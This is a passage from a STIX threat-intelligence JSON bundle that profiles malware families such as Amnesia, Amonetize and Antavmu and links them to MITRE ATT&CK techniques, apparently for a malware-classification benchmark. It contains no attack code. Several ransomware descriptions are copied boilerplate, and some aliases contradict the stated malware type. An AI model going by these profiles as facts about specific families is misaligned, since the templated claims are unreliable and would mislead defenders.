      "id": "relationship--65cffcdb-b37e-5a4d-8226-e275b18ff14c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65db90fb-cd3e-5fd6-8a91-0f032ed3490a",
      "target_ref": "attack-pattern--8062a450-e074-5be5-a9de-9c338b106aaa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ammyy exhibits technique T1219 (Remote Access Software (Abusing a legitimate tool for malicious interactive access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--259667e5-4b23-5145-8422-09f9f67c2202",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65db90fb-cd3e-5fd6-8a91-0f032ed3490a",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ammyy exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2fd7caa-330d-58a6-89d0-563b543a44d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65db90fb-cd3e-5fd6-8a91-0f032ed3490a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ammyy exhibits technique T1105 (Ingress Tool Transfer (Using the Ammyy file manager to drop ransomware))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--374415f7-0cff-5419-a5f1-83deda67fdc6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Amnesia",
      "description": "Amnesia (classified in antivirus detection telemetry under designations including Ransom:Win32/Amnesia, Ransom.Win32.Amnesia, and Win32/Amnesia) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Amnesia executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Amnesia",
        "Linux.Amnesia",
        "Botnet.Amnesia",
        "Troj/Amnesia",
        "Ransom:Win32/Amnesia",
        "Ransom.Win32.Amnesia",
        "Win32/Amnesia"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Amnesia",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/amnesia"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12005df9-4870-57bf-b9bc-25aa9450dcf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--374415f7-0cff-5419-a5f1-83deda67fdc6",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amnesia exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd3f9282-1e42-5469-9980-79c957b2ce89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--374415f7-0cff-5419-a5f1-83deda67fdc6",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amnesia exhibits technique T1498 (Network Denial of Service (Coordinated DDoS attacks))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1497.001: Virtualization/Sandbox Evasion: System Checks",
      "description": "MITRE ATT&CK Technique T1497.001 (Virtualization/Sandbox Evasion: System Checks) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1497.001",
          "url": "https://attack.mitre.org/techniques/T1497/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8717b3f7-deeb-5ba0-99b7-3816a5ad2e97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--374415f7-0cff-5419-a5f1-83deda67fdc6",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amnesia exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48eb7033-c73c-5a8d-a427-763e1b6a2a49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--374415f7-0cff-5419-a5f1-83deda67fdc6",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amnesia exhibits technique T1190 (Exploit Public-Facing Application (The typical initial infection vector))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d0cb326d-a430-5711-8734-f59c163a4643",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Amonetize",
      "description": "Amonetize (cataloged in antimalware telemetry as PUA:Win32/Amonetize, SoftwareBundler:Win32/Amonetize, and Adware.Amonetize) is a commercial pay-per-install (PPI) software installer wrapper and downloader that emerged around 2012. Marketed to freeware developers and webmasters as a software monetization platform, Amonetize wraps legitimate software programs inside a multi-stage installer that presents users with deceptive opt-in prompts for third-party adware, toolbars, and browser hijackers. When executed, Amonetize communicates with remote affiliate tracking servers over HTTP, downloads selected secondary advertising payloads, modifies browser shortcuts and proxy settings, and creates persistent background tasks to monitor system activities. The aggressive installation of unwanted auxiliary software degrades endpoint stability, generates unwanted desktop pop-ups, and exposes users to privacy risks. (Observed samples in benchmark: 242)",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/Amonetize",
        "SoftwareBundler:Win32/Amonetize",
        "Adware.Amonetize",
        "Win32/Amonetize",
        "Amonetize Installer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Amonetize",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/amonetize"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61c75fe5-251f-5def-9784-844cdfd2b3e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0cb326d-a430-5711-8734-f59c163a4643",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amonetize exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7ee2193-6afb-5ac8-a7d9-7dae6d6292b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0cb326d-a430-5711-8734-f59c163a4643",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amonetize exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95cf478c-2429-5a00-acba-3ac9497240b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0cb326d-a430-5711-8734-f59c163a4643",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amonetize exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94e39c75-789f-5382-a35c-74f767bd365f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0cb326d-a430-5711-8734-f59c163a4643",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amonetize exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c43c4755-7bcf-5eb8-8f4c-de7479cfae6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0cb326d-a430-5711-8734-f59c163a4643",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amonetize exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e9df5766-8588-5d91-8ec9-6d8f5338849f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Amtgimon",
      "description": "Amtgimon (classified in antivirus detection telemetry under designations including Ransom:Win32/Amtgimon, Ransom.Win32.Amtgimon, and Win32/Amtgimon) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Amtgimon executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Amtgimon",
        "Downloader.Amtgimon",
        "Win32/Amtgimon",
        "Ransom:Win32/Amtgimon",
        "Ransom.Win32.Amtgimon"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Amtgimon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/amtgimon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a790f9d7-bf41-5472-90c5-4719fbcb980c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e9df5766-8588-5d91-8ec9-6d8f5338849f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amtgimon exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ebc966dc-20c9-5428-95ab-1d4a539319ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e9df5766-8588-5d91-8ec9-6d8f5338849f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amtgimon exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12764d8f-6376-50d6-a707-2ac987847bb2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e9df5766-8588-5d91-8ec9-6d8f5338849f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amtgimon exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f72432a9-f47c-5ce6-a2ca-1c9c75f45fa2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Animus",
      "description": "Animus (classified in antivirus detection telemetry under designations including Ransom:Win32/Animus, Ransom.Win32.Animus, and Win32/Animus) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Animus executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Animus",
        "Downloader.Animus",
        "Win32/Animus",
        "Ransom:Win32/Animus",
        "Ransom.Win32.Animus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Animus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/animus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--409b472f-f5b6-56b9-919f-e2f20b8c7252",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f72432a9-f47c-5ce6-a2ca-1c9c75f45fa2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Animus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61332225-ca99-559a-95d4-f1946b6187c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f72432a9-f47c-5ce6-a2ca-1c9c75f45fa2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Animus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64113114-ae44-5887-98ae-3fc659e47ef2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f72432a9-f47c-5ce6-a2ca-1c9c75f45fa2",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Animus exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--af93c824-ac13-5080-973f-25d98ea0e1cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Anprot",
      "description": "Anprot (classified in antivirus detection telemetry under designations including Ransom:Win32/Anprot, Ransom.Win32.Anprot, and Win32/Anprot) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Anprot executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Anprot",
        "Downloader.Anprot",
        "Win32/Anprot",
        "Ransom:Win32/Anprot",
        "Ransom.Win32.Anprot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Anprot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/anprot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81de6ef4-98e3-51ae-b2fd-70fee22223d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af93c824-ac13-5080-973f-25d98ea0e1cf",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Anprot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49b66690-ad6c-5574-b4d5-afed909696bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af93c824-ac13-5080-973f-25d98ea0e1cf",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Anprot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e526e675-4aab-53ba-8a3c-01732f2b75e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af93c824-ac13-5080-973f-25d98ea0e1cf",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Anprot exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f8ae14ad-adbe-5f83-8309-b2c460dc30bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Anserin",
      "description": "Anserin (classified in antivirus detection telemetry under designations including Ransom:Win32/Anserin, Ransom.Win32.Anserin, and Win32/Anserin) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Anserin executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Anserin",
        "PUP.Anserin",
        "BrowserModifier:Win32/Anserin",
        "Ransom:Win32/Anserin",
        "Ransom.Win32.Anserin",
        "Win32/Anserin"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Anserin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/anserin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65cb2056-349f-5f20-915b-b6ad29c747ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8ae14ad-adbe-5f83-8309-b2c460dc30bc",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Anserin exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03114069-b8b7-5e21-bb2e-ad94c655d6f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8ae14ad-adbe-5f83-8309-b2c460dc30bc",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Anserin exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f77fabd-a9e6-5a12-b3e3-e9680592963f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8ae14ad-adbe-5f83-8309-b2c460dc30bc",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Anserin exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--77b4e098-10d9-5860-8a15-437e6a5046a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Antavmu",
      "description": "Antavmu (classified in antivirus detection telemetry under designations including Ransom:Win32/Antavmu, Ransom.Win32.Antavmu, and Win32/Antavmu) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Antavmu executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Antavmu",
        "Ransom.Win32.Antavmu",
        "Win32/Antavmu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Antavmu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/antavmu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cff9b2d5-613e-501b-bdec-63a6907b94f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--77b4e098-10d9-5860-8a15-437e6a5046a2",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Antavmu exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Terminating AV/EDR))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1c8f104-c6db-5ea8-b78a-815cfbd68218",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--77b4e098-10d9-5860-8a15-437e6a5046a2",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Antavmu exhibits technique T1112 (Modify Registry (Disabling Defender settings and deleting AV services))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1489: Service Stop (Forcefully stopping AV services)",
      "description": "MITRE ATT&CK Technique T1489 (Service Stop (Forcefully stopping AV services)) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1489",
          "url": "https://attack.mitre.org/techniques/T1489/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76fcd8de-b6cb-5749-b000-e2c49742c33f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--77b4e098-10d9-5860-8a15-437e6a5046a2",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Antavmu exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--858679a1-f02c-5fce-85c2-f637480d449f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--77b4e098-10d9-5860-8a15-437e6a5046a2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Antavmu exhibits technique T1105 (Ingress Tool Transfer (Downloading the secondary payload after blinding))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4fd84518-9694-5907-8a9e-92a8164ffecf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Antidenial",
